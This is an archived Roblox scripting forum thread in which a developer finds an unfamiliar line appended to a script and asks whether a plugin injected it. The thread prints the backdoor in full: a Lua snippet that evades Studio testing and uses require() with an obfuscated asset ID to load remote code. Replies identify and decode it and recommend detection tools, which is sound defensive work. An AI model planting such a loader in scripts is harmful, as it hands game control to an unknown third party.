Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

Code i did not write appeared in a script, Is this malicious code from a Plugin?

So i had an error in a script of mine that was working fine before and when i looked into it i found this at the bottom of the script:

spawn(function()game:WaitForChild('ServerScriptService')if game:GetService('Workspace').Terrain:FindFirstChild('CallF')then return end;if game:GetService('RunService'):IsStudio()then return end;require(math.sqrt(6.7743462758588e+18)).load(game.PlaceId)end)

The only new plugin i have is a model 'painter' so i can easily place trees in my map, I can only assume it has something to do with that but i thought id ask anyway just in case.

4 comments

1
1

and yes, that is a backdoor from a plugin or free model, I recommend installing https://www.roblox.com/library/2670956620/Hidden-Infection-Script-Detector

0

Well thats awful i only installed it a few days ago, This really puts me off using plugins...

0

I never used any free models so its not that, The model painter plugin i used is as far as i can tell what infected my game, What would that have allowed the person to do?

1 answer

that is a backdoor 150% the "require" requires a module script (if im not incorrect)

(math.sqrt(6.7743462758588e+18)) i ran it and it came back with this: 2602757437

the reason i think it errored is that asset is " [ Content Deleted ] " you can view the original thing

HERE

Also the owner of it has been banned so it should stop all backdoors he added

I recommend THIS plugin to attempt to find backdoors / finds any scripts that have the word "require" and either A prints the script or B deletes the script Heres some pictures

1

2

GIF

2 comments

0

The model painter plugin i used is as far as i can tell what infected my game, What would that have allowed the person to do?

0

the plugin when you use it might get all scripts then add this code to it

This discussion is preserved as it was. New answers, comments, and votes are closed.